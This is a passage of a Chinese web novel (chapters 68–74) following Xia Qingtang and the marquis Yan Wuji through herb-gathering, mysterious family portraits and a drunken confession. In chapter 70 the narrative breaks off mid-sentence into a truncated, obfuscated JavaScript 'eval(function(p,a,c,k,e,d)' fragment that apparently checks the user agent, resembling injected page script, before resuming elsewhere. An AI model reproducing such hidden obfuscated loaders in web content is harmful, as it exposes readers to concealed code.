不得不说,这王大娘饭馆家的大厨厉害啊。 又过了一段时间,久到夏清棠以为自己是被放鸽子了,天不早了,再不来,她就要回去了。 就在夏清棠要开门的前一秒,门率先一步从外面开了。 是气喘吁吁,拖家带口的江汐汐和辜战两人。 他们二人从身后两个手下的手里接过一堆东西,就下令让他们先离开。 门再次关上。 江汐汐和辜战认真的将拿来的东西摆在桌面上,然后,一脸期待的神情望向夏清棠。 夏清棠被看的有点不自在,他们的目光实在是太真诚了。 她摒弃心中的不适,冷声说,“药材”。 桌上的木盒子被打开,里面是排列整齐,品相极好的药材。 夏清棠瞳孔微缩,心底又涌起一股复杂的情绪,都是真的,药材都是真的。 她数不清这些天看了多少眼纸上的药材图画和重要特征,这一块,几乎是瞬间,她就知道,这里摆的这些药材,都是真的,而且质量是只好不差。 药香味儿在鼻尖弥漫,夏清棠眨了眨眼,声音有些涩。 “开个价吧。” 辜战急了,“不是,说好我们送给你的”。 江汐汐:“嗯,对,我们不要你的钱” 夏清棠突然就觉得很烦躁,“两个呆瓜,谁会嫌钱多”。 江汐汐:“我们不嫌钱多,我们怕你没钱” 夏清棠:“谁没钱了,小瞧不起人。” 江汐汐和辜战笑了笑,没再说这个话题,而是把手里的两张画轴拿出,示意夏清棠。 “夏姑娘,你要看吗?” 夏清棠扯了扯嘴角,“能不看吗?”。 江汐汐微笑:“不能” 夏清棠:都不收她药钱,看个画像而已,看就看了。 画轴缓缓展开,江汐汐和辜战不自觉屏住呼吸。 夏清棠不屑一顾。 直到……画像被完全展开。 夏清棠瞳孔骤缩,不可置信的揉揉双眼,又狠狠的拧了一把自己胳膊上的肉。 疼的?! 居然是疼的!!! 这是真的,这两张画像上的人和她的爹妈长得一模一样。 开玩笑的吧,啊? 时刻关注的夏清棠的江汐汐和辜战见到夏清棠这个反应,就知道,这画像果然有用,她很有可能是记起来了。 两人的目光实在是太明显,夏清棠强硬的逼迫自己收起异样,装作漫不经心,“哈哈哈,这俩人是挺好看的哈”。 江汐汐轻笑,“你不想他们吗?”。 夏清棠脑子有点乱,她不知道他们说的到底是不是真的,她不知道他们的目的到底是什么,她现在只想打着哈哈跳过这个话题。 “想什么,我都不认识他们。” 辜战突然凑近夏清棠,很耿直的说,“你骗人,刚才你那双眼睛都快瞪出来了”。 “……” “我只是第一次见这么惊为天人的人,一不小心被震撼到了。” 辜战眯眼:“真的吗?” “嗯!” 江汐汐身上的冷意少了很多,她认真的注视着夏清棠,“夏姑娘,你如果想通了,有什么想问我们的,我们随时都可以奉告”。 夏清棠:“…嗯” 他们走了,江汐汐和辜战离开了。 包间内,夏清棠看着桌上的满满当当的药材,脑中反复浮现的确实方才看到的那两幅画。 世界上会有长得一模一样的人吗? 她自问自答。 怎么不可能,她和原主不就长得一样,所以,那两个人也可能其实和她这个人根本没有任何关系。 “暗七暗八!出来,收拾收拾这些东西。” “我们满载而归。” 第六十九章想离开 天色微暗。 找这些渊国药材的进展,出乎意料的顺利。 夏清棠现在的脑子还有些晕乎乎的,奇怪的画像,奇怪的人。 她摇摇脑袋,解毒要紧。 找安大夫。 安瑾现在还守在萧策躺着的这间屋子内。 咚咚咚—— 夏清棠轻声在门口问,“安大夫?”。 屋内传来脚步声,门开了。 安瑾看到夏清棠的时候,神色很平静,前提是忽略他脸上那两颗肿的像核桃的眼睛。 “走吧”。 进到屋内,夏清棠将药材一一摆列好。 安瑾看清桌上的药材后,脸上表情终于变了。 他问:“这是从哪买来的。” 夏清棠沉默一瞬,选择了隐瞒,“是那颗西腓草,它的主人,卖给了我这些药材”。 安瑾几不可见的眸光闪了闪,没再追问,能拥有这么多渊国药材的人,他还是别问了,至于为什么这么大方的将好的给了夏清棠,他现在也不想知道。 “这些都是上好的药材,你放心吧,药材都齐全了,用不了几日,我就能把解药给你搓出来。” “谢谢安大夫!” 安瑾点头。 晏无咎忙完,带着今天的新收获,刚来到两人所在的这间屋子,就看到桌上摆的满满的药材。 龙脑香,西腓草,赤砂藤,星罗子,居然都有。 他下意识将手里的小木盒藏在身后,想悄悄退出去,却已经被安瑾看到。 “老晏,你来了,有啥事儿?” 夏清棠闻声看过去,她一愣,一天没见晏无咎,怎么成这幅胡子拉碴的样子了。 晏无咎面色无常,“萧策怎么样了”。 安瑾语气失落,“不知道,命是保住了,就是不知道什么时候能醒”。 晏无咎:“嗯,抓到伤害萧策的人了。” “服毒自尽了。” 安瑾:“唉……” 晏无咎上前安抚的拍了拍安瑾的肩膀,“你照顾好萧策,剩下的交给我”。 安瑾:“好。” 气氛陷入寂静。 晏无咎像是刚注意到的样子,疑惑的问,“药材是都找齐了吗?”。 安瑾:“嗯,夏姑娘很厉害,效率很高” 夏清棠尬笑:“侥幸侥幸。” 安瑾起身想把桌上的药材都收好,方便之后做药,然后,刚一起身,眼前就一片黑暗,脚下不稳,连连跌撞。 离得最近的晏无咎忙伸手去扶安瑾,掩藏在身后的木盒却掉落在地上。 砰—— 木盒在地上滚落几圈,盖子开了,里面的星罗子掉在地上。 一时间,三人的目光统一落在孤零零躺在地上的星罗子身上。 安瑾推开晏无咎的手,“方才我只是起猛了,我没事”。 “嗯” 晏无咎极力想掩饰自己的不适,但是,捡起木盒和星罗子的动作依旧很僵硬。 夏清棠:她今日有三次都在怀疑自己的眼睛。 安瑾:老晏这是栽了,栽女人手里了。 终于,还是安瑾发声了。 安瑾:“老晏,我没看错的话,那是星罗子吧,是你给夏姑娘找的吗?”。 平常不是挺能的吗,关键时刻还得他来发声助力。 晏无咎耳根泛红,喉间溢出轻嗯声,他的目光落在夏清棠身上,期待她的反应。 夏清棠头皮发麻,你怎么就嗯了呢,天,只能老样子了,扮演痴迷晏无咎的小迷妹,最有效。 “真的吗?侯爷,你这么好!” 夏清棠是很感谢晏无咎帮助自己没错,但是,她害怕晏无咎真的对她产生某种感情,如果是利用的感情,就好。 晏无咎嘴角轻勾,“知道我的好就行”。 夏清棠眼眶泛红,“侯爷,你在哪弄来的星罗子呀?”。 晏无咎:“无影阁拍来的。” 听到这话,夏清棠瞬间反应过来,她走进晏无咎,拿过他手中的木盒,语气带着质疑,“为什么?”。 “我不是花钱在无影阁说要找这几种药材吗,他们找到了为什么还要拿去拍卖?” “这是骗钱啊!是诈骗!” 【无影阁居然搞诈骗!】 听到夏清棠的心声,晏无咎明显心情更不错了,夏清棠没有认为是他在诈骗,她相信他,她下意识地就把罪名安在无影阁的身上。 他温声解释:“这不是无影阁找到的,是别人拿来无影阁要拍卖的”。 “这种情况,即使有客人花了钱找这东西,也要以这物品的主人优先。” 夏清棠明白了,她点点头,笑了笑,“误会无影阁了,还好没有去上门找”。 【这星罗子花了多少钱啊,晏无咎这么节俭,不会来找她要钱吧】 【那个龙脑香都花了好多银子!!!钱真的好不经花】 夏清棠看了晏无咎两眼,他看起来心情好像很不错。 “侯爷,那这个星罗子你花了多少银两啊,我给你。” 晏无咎嘴角僵住,这个女人……还真是,已经迫不及待要和他划分界限了吗? 他眼底墨色翻涌,说出口的话却带着调侃。 “怎么?怕你的侯爷我穷的只能日日吃咸菜吗?” 【我可没有,心疼男人倒霉一辈子,我才不心疼你】 夏清棠脸颊漫上红晕,“侯爷你还是这么聪明,我确实是担心你吃不上好的,侯爷你可是大将军,身体是本钱”。 晏无咎眸光闪烁。 心口不一的狡猾女人! “好啊,我倒是没想到夏姑娘这么关心我,三百两银子” 夏清棠:“……” 【他真的说了,三百两银子?!天,败家子儿啊】 晏无咎俯身凑近夏清棠,灼热的气息喷洒在她的耳廓,低沉的嗓音在耳边响起,“怎么?嫌多,不想给了?”。 耳朵处酥酥麻麻的异样感觉吓退夏清棠,她朝后撤了几步,正要开口,却被晏无咎抢先。 “罢了,看在夏姑娘一心为我的份上,这钱就算了” “放心,本侯就算日日吃咸菜,身体也好得很” 夏清棠心下高兴,也不再和晏无咎虚与委蛇。 “谢谢侯爷,祝侯爷身体一直倍儿棒!” 晏无咎双眸危险的眯起,这个女人到底会不会抓重点,他说他身体非常好。 【三百两呢,我要是去外面生活,都不知道够活多久了】 去外面生活? 呵,是想离开了吗? 第七十章又是渊国 一直默默在旁边观看两人说话的安瑾脸色有点绿。 这俩人这是搁他面前调情呢? 侯爷,我担心你~ 不,你不用担心我,我身体非常好~ 呕! 他站起身驱赶两人。 “行了行了,你俩别在我这调情了,快走吧啊,各忙各的。” “……” 夏清棠和晏无咎被啪在门外。 两两对视,夏清棠率先笑了笑,“侯爷,我还有事儿,我先回我屋子了”。 夏清棠抬脚就走,却被晏无咎叫住。 “等等,一起,我们正好顺路。” 夏清棠:“……” 晏无咎挑眉,故意问,“高兴的说不出话来了?”。 夏清棠哈哈两声,“侯爷,您说的都对”。 【晏无咎这张嘴啊,还是一如既往的讨人厌。】 【我得赶紧回去看看自己还有多少存款,收拾收拾,嘿嘿嘿,美好的日子在向我招手。】 夏清棠跟在晏无咎身后,脑中已经开始畅想自己日后的美好生活,突然,她想到一件事。 【药材都找到了,我的余额还有不少,那……那厨王争霸赛能不能取消报名啊】 【算了,钱这种东西谁会嫌多,而且,说不定她第一把就输了呢】 晏无咎耳根微动,这几句心声一直在耳边环绕,她是想收拾收拾家当好赶紧离开吗? 说来也是,现在有了安瑾,她都不用来摸他了,夏清棠,招惹了我,还想离开? 夏清棠沉浸在美好生活的喜悦中,丝毫没有察觉到身前人周身异样的氛围。 “拜拜,侯爷晚安。” 夏清棠走到屋子门口,心情颇好的回头和晏无咎打了个晚安招呼。 昏暗烛光下,晏无咎眼里浓重情绪几乎要溢出来,他伫立在夏清棠的屋子门口,良久,喉间溢出意味不明的轻哼声。 晏无咎离开了。 而夏清棠,此刻正在房内欢快的数钱,嘿嘿嘿,还有这么多。 “今天晚上一定能睡个好觉。” …… 这天晚上,夏清棠做噩梦了。 她梦到了晏无咎。 在梦里,晏无咎化身成了一头老虎,还是只人头虎身的奇异物种,追在她身后,嘴里还一直喊着,“看到我你不开心吗?”。 “既然开心的话,我们两个就应该一直待在一起。” “我们是天生一对。” 而她两条腿都要跑出火星子了,脸上是一把鼻涕一把泪,哭着喊着,“晏无咎,你别吃我啊!我的肉又肥又臭,一点都不好吃,吃了还会让你把隔夜饭都吐出来”。 可是,她这个两条腿儿哪能跑过晏无咎这个四条腿儿的。 最后,在她尖锐的爆鸣声中,她被晏无咎扑在地上。 砰——! “啊啊啊啊啊!!!别吃我别吃我!” “我浑身都是臭肉啊!” 梦中的她还在闭着眼嘶吼,突然,就感觉脸上毛茸茸。 ……是晏无咎的爪子。 她不敢动了,连气儿都不敢喘了,因为,晏无咎一只大爪子在她的头上来上来回摸,而那张脸,在她的脖子处来回蹭。 时不时还发出满足的喟叹声。 呜呜呜,晏无咎不会是要咬她的大动脉吧,就在夏清棠陷入绝望的时候,脖子上传来湿润的触感。 “……” 靠!晏无咎真的要吃她,舌头都伸出来了。 “侯爷,你入魔了,你醒醒啊,我不好吃啊!” 只听埋在脖子处的男人发出疑惑的声音。 “不好吃?” “可是,我怎么闻着你这身肉,香的很呐。” 夏清棠瞪大的瞳孔里,是晏无咎泛着血腥红光的双眸和唇中蠢蠢欲动的獠牙。 带着浓浓欲望的暗哑声音犹如魔音,“就让我来尝尝你这身肉到底香不香吧”。 “嗷呜——!” “啊啊啊——!!!” 夏清棠惊醒了,看到面前的床幔,她松了口气。 嗐!原来是梦啊,早说嘛。 早说,她就应该来一个夏清棠打虎。 梦中的晏无咎不仅长得怪异,干的也都不是人事哈。 夏清棠一边腹诽一边起床。 清晨刚打开门,正在感受新鲜空气的夏清棠,冷不丁就和不远处同样是刚从屋子里出来的晏无咎对视上。 静—— 两人目光皆是躲闪。 夏清棠注意到,晏无咎的眼下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏无咎的目光也落在夏清棠身上,渊国,又是渊国啊,后宫里关着的那位娘娘,也是渊国的。 第七十一章痴心妄想 夏清棠看出安瑾的忧虑,她毫不犹豫地说:“安大夫,你放心,我会想办法联系那两个人,我们一定尽快为萧副将找到药材”。 安瑾帮了她,她可不能做白眼人。 晏无咎出声:“派一队暗卫,交给你们两个差遣”。 安瑾动容,“谢谢你,老晏”。 “谢谢你,夏姑娘。” 晏无咎钱不多,暗卫倒是挺多。 夏清棠注意到晏无咎腰间的玉佩不在了,是收起来了,还是? 安瑾:“老晏,你玉佩呢?” 晏无咎:“还在。” 安瑾点头。 夏清棠了然,看来是收起来了,啧,这玉佩到底是有什么说法。 夏清棠:“侯爷,安大夫,既然如此,我就去联系那二人了。” 安瑾点头。 晏无咎却说:“我与你一起。” 夏清棠意外,可看到晏无咎脸上严肃的神情,她明白了,毕竟是自己多年的好兄弟,有了希望,晏无咎自然是希望没有差错。 夏清棠:“好。” …… 二人并肩行走。 想到江汐汐给自己的联系她的法子,夏清棠有些苦恼。 【我要是当着晏无咎的面吹哨子,会不会被他以为我和那两人背地里有什么勾结啊。】 【然后一刀把我砍了……】 【昨日还信誓旦旦的想一定不会主动联系他们,希望这次他们不要再说些什么奇怪的话。】 “前面是坑。” 冷沉的男音突然响起,夏清棠茫然抬头,后脖颈处的衣领已经被揪住。 晏无咎俯身逼近夏清棠,薄唇微勾,“夏姑娘平日里这么敏捷,怎么一在我身边,就想往坑里跳呢?”。 他凑得更近,“还是说……你是想摔在我身上”。 夏清棠耳根爆红,猛地推开晏无咎,“侯爷,你在说什么?我为什么要往你身上摔”。 晏无咎指了指距离夏清棠脚前很近的坑,嘴角勾着轻笑,眉眼带着调侃。 夏清棠瞪大双眼,深吸一口气,“嗷~原来是有个坑啊,我谢谢侯爷你”。 “侯爷你也放心,我现在已经不会对你痴心妄想了,我配不上侯爷您,侯爷身边应该是更优秀的人,而不应该是我这样的小马喽。” “我们现在最要紧的还是给萧公子找药材。” 晏无咎面色泛冷,没再说话,只是从那双眼睛中,能看出正有风暴发生。 夏清棠:“侯爷,我尿急,先去一趟茅厕。” 没等晏无咎回应,夏清棠一溜烟就跑了。 呼—— 跑到无人处,夏清棠松了一口气。 怪,实在是太怪了,晏无咎太怪了,该不会…… 夏清棠摇头,不敢想,虽然晏无咎长得超帅,身材超好,想到这,她的脑海中浮现出晏无咎的八块腹肌和超绝胸肌,好热。 不是马上就要冬天了吗? 还有这哨子,长得怎么这么像骨头。 夏清棠眯眼,夏清棠震撼。 “!!!” 这就是骨头啊。 ……肯定是动物骨头吧。 夏清棠憋了一口气,狠狠吹响哨子。 江汐汐告诉她,若是想通了,有什么想问的,就吹这哨子,他们会知道,还是在王大娘饭馆见。 好神奇,他们真的能听到吗? …… “侯爷,我好了,我们走吧。” “知道是去哪吗?” 夏清棠点头。 “昨日和他们的交谈中,他们说他们经常去王大娘饭馆吃饭,几乎是每日都去,我们今日先去那看看。” “同时,也派暗卫找着点。” 晏无咎:“嗯。” 两人一同前往王大娘饭馆,只不过,这之前,两人先做了一番伪装。 扮成了老头老太太。 对于夏清棠的这个提议,晏无咎非常认同,只是,这个扮演的角色,他有点不敢苟同。 很快,二人来到王大娘饭馆。 “哎呀!大爷大娘一把岁数了,还出来吃饭啊!” 王大娘豪爽泼辣的声音在大堂里环绕。 夏清棠一时没反应过来是在说自己,晏无咎也是。 “大爷大娘!你们、听到没有,是不是年纪大了,耳朵有点不好。” 王淑芬在村子里见过不少这种情况,没当回事,只是加大了音量,一字一句地说。 夏清棠被震了一下,头巾遮挡下的面容没有一点窘迫。 苍哑的声音从她喉间发出。 “哎哎哎!掌柜的啊,我和我老汉,还有孩子们啊,都喜欢清静,给我们一间包房。” 王淑芬:“好好好,大娘!楼上走!小二带着你们!你们可慢点啊!”。 夏清棠:“行行行!”。 老头老太太互相搀扶着,颤颤巍巍的上了楼梯。 王淑芬感叹:“真好啊,这么大年纪了,感情还这么好,有银子又有爱,孩子们肯定也孝顺”。 呼——— 走进包房内,二人轻松的坐在椅子上。 其实,夏清棠也不知道她为什么要这么小心,但是自从昨天看到那两张画像后,她就难受,浑身不得劲儿,可能是因为那两人太奇怪了。 楼下,刚送走了老头老太太,王淑芬就看到一对年轻男女。 江汐汐:“包间。” 王淑芬:“对对对,你们是不是和刚上去那两人是一起的,一男一女。” 江汐汐:“对!” 王淑芬:“快上去吧,你们爹娘等着呢。” 江汐汐:“……” 辜战:“……” 爹娘?想来是这当家的搞错了,不过无碍,上去再找也行,总共没几个包间。 江汐汐想了想,应了声,“好”。 看着江汐汐和辜战上楼的背影,王淑芬又感叹,真好啊,老有所依,女儿儿子还都长得这样俊俏,看着还那么沉稳。 一看就是干大事儿的。 吱。 门开了。 “不好意思,走错了。” 听到熟悉的声音,夏清棠立刻出声拦人。 “没没没,二位请留步。” 夏清棠撤下自己的头巾,面容露出,虽有点老,但能看出是她。 江汐汐嘴角勾起温和的笑,目光里透着毫不遮掩的关切,“夏姑娘你好,你是想通了吗?还是有什么事?”。 看着两人关切的目光,夏清棠的脸真的躁得慌。 为什么,他们看起来,这么关心她。 这次,一定要把上次没给出去的钱一起给出去。 第七十二章一杯倒 江汐汐和夏清棠在这边说话。 辜战则目露警惕的看着旁边的老头,虽然是个老头装扮,但毫无疑问这是个年轻男人,而且周身的气息告诉他,这绝对不是普通暗卫。 晏无咎自然察觉出这男人的敌意,他眸光冷凝,耳朵竖着,细细听着旁边两个女人的谈话。 这两个人对夏清棠很不一般呐。 这边夏清棠刚向江汐汐诉说完自己的请求,原以为她会拒绝或者迟疑,亦或是说点什么题外话,却没想到,几乎是夏清棠刚说完的瞬间,江汐汐就毫不犹豫地说:“没问题”。 “没问题,夏姑娘,你说的这几种药材我们确实是有一些,但剩下没有的,我们会帮着一起找。” 说完,江汐汐都觉得自己有点话多了,对于面前这个女人来说,他们还只是陌生人,这样友好,会让对方生疑的吧。 可是,老国师说过的话,又让她不得不急。 夏清棠不知道他们说的他们是她的亲人这句话是不是真的,可上次和这次,他们二人确实是帮了自己。 夏清棠:“谢谢你,江姑娘,这些银票你先拿着。” 夏清棠强硬的将银票塞进江汐汐手里。 江汐汐看着夏清棠,张嘴还想说些什么,可余光看到那道扮成老头的身影,她停住了嘴。 还是改日再聊吧。 江汐汐面露微笑的看着夏清棠。 “夏姑娘,那……我们今日就先告辞了。” “东西我会找人送你府上。” 夏清棠:“好。” “江姑娘再见。” 江汐汐和辜战走后,夏清棠又拿着头巾将头裹上。 来都来了,就吃一顿好的吧,却看见晏无咎起身就要往外走,现在正在扭头疑惑的看着她。 晏无咎:“不走?” 夏清棠:“不走,就在这吃。” “放心,我请客。” 没错,她就是这么大方。 晏无咎微笑:“夏姑娘真大方,刚才给出去那么多票子,还能这么大方,真是一代女中豪杰。” 夏清棠:…… 等等,好像有什么不对。 她手摸向口袋里,空荡荡—— 吃饭没拿钱,下馆子没拿钱!!! 靠。 夏清棠反应过来,下意识看向晏无咎,看到的却是晏无咎挡住脸的头巾。 咚咚咚——! 是敲门声。 门开了,是端着一盘盘菜的小厮。 夏清棠泄气,算了,吃就吃吧,不是啥大事儿。 晏无咎肯定有钱,就算晏无咎没钱,还有暗卫呢。 夏清棠坐下,闭上眼细细嗅闻这一桌子的美味。 “侯爷,快吃啊,看,我刚才专门给你点的菜,补身体啊。” 晏无咎看过去,脸色瞬间阴沉,听到夏清棠那话,他几乎是下意识的就认为是那种菜。 结果,不过是一些大肘子,大猪蹄……唯一看的过眼的就是那道韭菜炒鸡蛋。 晏无咎:呆子。 夏清棠:“侯爷,你快吃啊。” 夏清棠看着桌上的酒灌,压制不住好奇心,古代的酒是什么味道。 晏无咎看出她的小九九,冷声制止,“不许喝,我可不想带着一个酒鬼老太婆回去。”。 夏清棠:“嘿嘿,侯爷,不瞒你说,我酒量可好了。” 说完,不再理会晏无咎的刀子眼神,她自顾自的到了一杯,又友好的给晏无咎倒了一杯。 她在现代那会儿,酒量可是很不一般。 晏无咎和夏清棠现在一个在桌子的这边,一个在桌子的另一边,隔得有点远,看着花花绿绿的菜色前那一张白嫩又泛着红晕的脸蛋,晏无咎觉得,自己的心上好像有蚂蚁在爬。 他挪了挪屁股,挪到了夏清棠的旁边 刚饮下一杯酒的夏清棠的此刻目光已经有一点点的迷离,她眨着泛着水光的眼眸看向身侧的男人。 “你过来干啥?屁股痒了?” 晏无咎嘴角笑意僵住,“你把肉都放在你前面,我够不到”。 夏清棠:“哈哈哈,你胳膊这么短啊。” 晏无咎:“……比你腿长。” 夏清棠瘪嘴,“没礼貌的家伙”。 夏清棠又喝了一杯,发现这酒劲是大啊,总共喝了两杯,就有点晕,为了自己的小命,她果断地把酒杯撂到一边。 砰! 正美美吃菜的夏清棠突然听到身旁一声沉闷的响声。 夏清棠嘴巴微张,“晏无咎,你撞桌子干啥,这菜就好吃到你磕头?”。 没回应。 夏清棠微醺的意识此刻已经彻底清醒,她扒着晏无咎的衣领,紧张的把他从桌子上薅起来。 “喂!晏无咎!” 脑中紧绷的神经在看到晏无咎面容的那一刻骤然崩塌。 “……” “原来晏无咎是一杯倒啊。” 一向谨慎的晏无咎误食酒水了。 夏清棠把晏无咎随意的扔回椅子上,一杯倒也敢喝酒,不怕她给你卖了吗。 很快,桌上的菜被一扫而空。 夏清棠满足的拍了拍自己的肚子,邪恶的视线又移向面色红润,紧闭双眼的晏无咎。 她的魔爪在晏无咎的身上搜刮。 “晏无咎,借你点银子,回去了再还你啊。” 摸到了! 感受到衣裳下的坚硬,夏清棠面色一喜,正要拿出来,手却被擒住。 是晏无咎。 “唔……别摸。” 温热的气息喷洒在发顶,夏清棠缓缓抬头,对上的是晏无咎微睁的双眼。 夏清棠面露尴尬,开口解释,“我忘记拿银子了,来你这借点,看到你好像睡着了,我就……”。 没等她说完,晏无咎又闭上双眼,嘴里还呢喃着。 “给你……都给你。” 夏清棠大喜:“都给我啊!谢谢你啊侯爷。” “你放心,回去后,我肯定会还你的,我这个人,最讨厌欠别人钱了。” 夏清棠成功从晏无咎怀里拿出钱袋子。 一溜烟下楼付了钱,又一溜烟上了楼。 晏无咎还在楼上。 打开门,却看到晏无咎直挺挺的坐在椅子上,看着门口。 夏清棠嘀咕,晏无咎酒醒的这么快?跟诈尸一样。 “侯爷,我们回去吧,回去我就还你钱。” 第七十三章天生一对 “还什么钱?” 夏清棠:“吃饭钱啊。” 晏无咎不满皱眉,“棠棠,你在说什么啊?”。 “糖糖?” 夏清棠起了一身鸡皮疙瘩,晏无咎这是在搞什么名堂。 她瞪大眼睛去看晏无咎,看到的却是晏无咎清澈无暇,还泛着些迷离的双眼。 靠,这跟没睡醒的清澈大学生们有什么区别? 一点区别都没有。 不过,糖糖是个什么鬼。 晏无咎张开胳膊,疑惑的眼神看向夏清棠,“棠棠,你离我那么远干嘛?”。 夏清棠无望的闭了闭双眼,没人告诉她,晏无咎喝醉酒是这副德行啊,很诡异啊。 “棠棠,你为什么不理我。” “是有新欢了吗?” “棠棠,我好喜欢你。” 在夏清棠愣神的时间,晏无咎已经走过来,还牵起了她的双手。 他把她的双手捧在手心,嘴里还絮絮叨叨,“棠棠,你的手为什么这么里凉,我给你暖暖”。 晏无咎身上独特的气味和酒味儿将夏清棠包裹,夏清棠脑中只有一个念头。 她能不能自己一个人回去。 “棠棠?” 夏清棠拍开晏无咎的手,冷声命令,“别叫我,我不是你的糖糖。” “还有,一会儿下楼跟在我身后,别乱叫,听到了吗?” 晏无咎委屈:“嗯。” 夏清棠拍拍他的头,脸上是死亡微笑,“乖”。 晏无咎乖乖点头。 二人一前一后下了楼。 王淑芬:“哟,大娘大爷吃完饭啦?” 夏清棠(老太太版)点点头。 “大娘大爷还喝了点小酒啊,路上慢点啊!” 夏清棠只想快点离开。 “棠棠,等等我。” 王淑芬意外,看着两人离开的背影,她又感叹:“这老头老太感情真好啊,一把年纪了还叫的这么亲热,身体看着也挺好,一桌子菜都能吃的干干净净”。 …… 回到侯府。 夏清棠不耐烦的转身。 “侯爷,您能别跟着我了吗?你跟了我一路了。” 一路回来,在马车里,这个可恶的晏无咎还要一直在她耳边喊糖糖,谁是你的糖糖。 夏清棠感受到心脏的剧烈跳动,深吸一口气,数次告诉自己,不要自作多情。 晏无咎依旧眼神迷离,声音还带着明显的委屈和恳求。 “棠棠,我想和你一起睡觉。” 夏清棠:“?!!” “滚。” 林木这个时候恰好出来,他快速的走到晏无咎身边,“侯爷,我去给你端醒酒汤”。 晏无咎:“滚。” “我要和棠棠在一起。” 林木:“……” 你是侯爷,你牛逼。 “棠棠~” 晏无咎一个熊抱,狠狠抱住了夏清棠,甚至还撅着性感的红唇往夏清棠脸蛋上凑。 “滚——!” 夏清棠一只手拍在晏无咎脸上,一只脚狠狠踩在他的脚上,以此想来逼退晏无咎。 两个人的拉锯战持续了有足足一刻钟。 最后,还是林木和安瑾合力才把晏无咎给薅开。 安瑾真是从来没觉得自己兄弟这么丢脸过,喝醉酒居然抱着一个女人哭天喊地。 真是丢他们男人的脸。 晏无咎还在一声声喊着棠棠,安瑾忍无可忍,一个手刀直接批晕晏无咎。 安瑾:“夏姑娘,实在是不好意思,侯爷他可能就是太喜欢你了。” 夏清棠:“……” 他很诡异你知道吗? 饶是安瑾这样厚脸皮的人,此刻也不敢再去看夏清棠的脸色,他和林木抬着晏无咎,一溜烟的跑了。 夏清棠呼出一口浊气,她不知道晏无咎到底在搞什么鬼。 后日,她要去参加厨王争霸赛的初赛,这些有的没的,不应该在她高贵的脑子里存在。 观摩了老久的王嬷嬷见时机已到,悄咪咪的走到夏清棠身边。 “夏姑娘?” 夏清棠抬眸,“嗯?”。 王嬷嬷嘿嘿一笑,“夏姑娘,恭喜你啊”。 “嗯?恭喜我什么?” 王嬷嬷:“恭喜您成功将侯爷拿下,我刚才可都瞧见了,侯爷喝醉了,哭着喊着的,嘴里可都是您啊!” 夏清棠嘴角一勾,漫不经心的说,“王嬷嬷。你有没有挺过一句话”。 王嬷嬷摇头。 夏清棠:“男人三分醉,演到你流泪啊!” 这可给王嬷嬷搞不会了,夏清棠不是死活都想得到侯爷的心吗,为什么现在看着好像不是这样,不管了,反正拍马屁肯定没错。 王嬷嬷张嘴正要拍马屁,却夏清棠抢了先。 “今日个这马屁就先别拍了,咱俩去厨房。” 王嬷嬷点点头,她懂了,定是夏清棠还想牢牢抓住侯爷的心。 “好嘞,夏姑娘。” …… 晏无咎醒了。 被安瑾一碗苦药灌进去,醒了的,脑子此时也是清醒的没边了。 看着坐在床边满脸懊恼的晏无咎,安瑾发笑。 “没想到啊没想到,你晏无咎也有这个时候。” “棠棠~” “棠棠~我要和你一起睡觉觉~” “棠棠~我好喜欢你哦。” 安瑾一脸坏笑,故意夹着嗓子,发出怪异嗓音重复晏无咎当时说的话。 晏无咎一阵恶寒,抄起枕头狠狠朝安瑾扔过去,“滚!”。 安瑾接住枕头,依旧嬉皮笑脸,“怎么,咎咎你害羞啦?”。 晏无咎无望的闭上双眼,他怎么能干出这种蠢事。 “她……当时什么反应。” 欸?安瑾愣住,他没想到晏无咎现在最关心的居然是这个,看来是真的哉了,以前就算喝醉了,也只会抱着那块玉佩睡大觉。 安瑾在脑海里回忆夏清棠的反应。 “夏姑娘啊,她看起来……好像很排斥。” “你还记得吗?你当时就跟那大狗熊一样,死死抱着夏姑娘,夏姑娘踹你打你都不顶用。” 安瑾啧啧称奇。 “她……很讨厌吗?” 安瑾僵住,想了想,委婉地回了句:“这我就不知道了,你得去问她。” 晏无咎低垂着脑子:“嗯,你回去吧,我好很多了。” 安瑾临出门时还不忘犯一下贱,“咎咎~我真的走啦啊,不要太想我哦”。 “滚!” 安瑾走了,房间只剩下晏无咎。 那句她好像很排斥,一直萦绕在心间。 脑中的记忆愈发清晰,夏清棠厌烦恼怒的眼神也愈发清晰。 可是,他能听到她的心声,她靠着摸他能续命。 他们难道不是天生一对儿吗? 他和夏清棠,是命中注定就该在一起的。 晏无咎眼底墨色翻涌,喉间溢出危险的轻笑。 “夏清棠,是你先招惹我的。” 第七十四章发力 隔天,日上三竿时。 府外早早传来通报声。 是找夏清棠的,正要出屋子的夏清棠听到是一男一女,意识到,肯定是江汐汐和辜战。 她连忙走到大门口,果不其然看到…… 一个大娘和大爷。 夏清棠轻笑,看来大家伪装的功夫倒是都挺强。 “江大娘,辜大爷,你们来啦!” 江汐汐:“是是是,夏姑娘,我们来给你送货了。” 辜战在旁边死死憋着笑,高冷的汐姐化妆,实在是罕见,也很好笑。 “笑笑笑!再笑就把你丢土匪窝里去,上次黑豹寨的大姐大不是还想要你过去做压寨夫君吗?” 江汐汐凉飕飕的邪恶声音飘荡在辜战耳边,辜战立刻认识到错误。 “汐姐,我错了,我再也不笑你了。” 夏清棠本想带着两人到屋子里坐坐,却听见身后江汐汐说话了。 江汐汐喊住夏清棠,“夏姑娘,我们在这院子里就行”,说着,她和辜战把身上的布包拿下,走到石桌旁边,把药材摊开来给夏清棠看。 “我们就不进去屋子里做,我们的身份不合适。” 夏清棠:“这有啥不合适的,你们可是我和萧公子的救命恩人。” 江汐汐笑了笑,没说话,她怕她一个忍不住,把晏无咎这侯府给一把火点了。 江汐汐脸上又带上歉意,“夏姑娘,有两味药材我们没有,不过我们会帮你找的”。 “你放心。” 夏清棠眸光刚从桌上的药材上移开,就对上江汐汐冷却很真诚的眼神。 又是这种目光。 夏清棠忍着心中异样,“江姑娘,谢谢你们。”。 “嘿嘿嘿,真的谢谢我们的话,要不要问我们点问题啊。” 辜战期待的小眼神望着夏清棠。 夏清棠犹豫片刻,点了点头,压低声音问,“画像上的人……还在吗?”。 “在的,在的。” “那……” 江汐汐打断,“夏姑娘,这里不方便多聊,有时间,我们老地方见。” 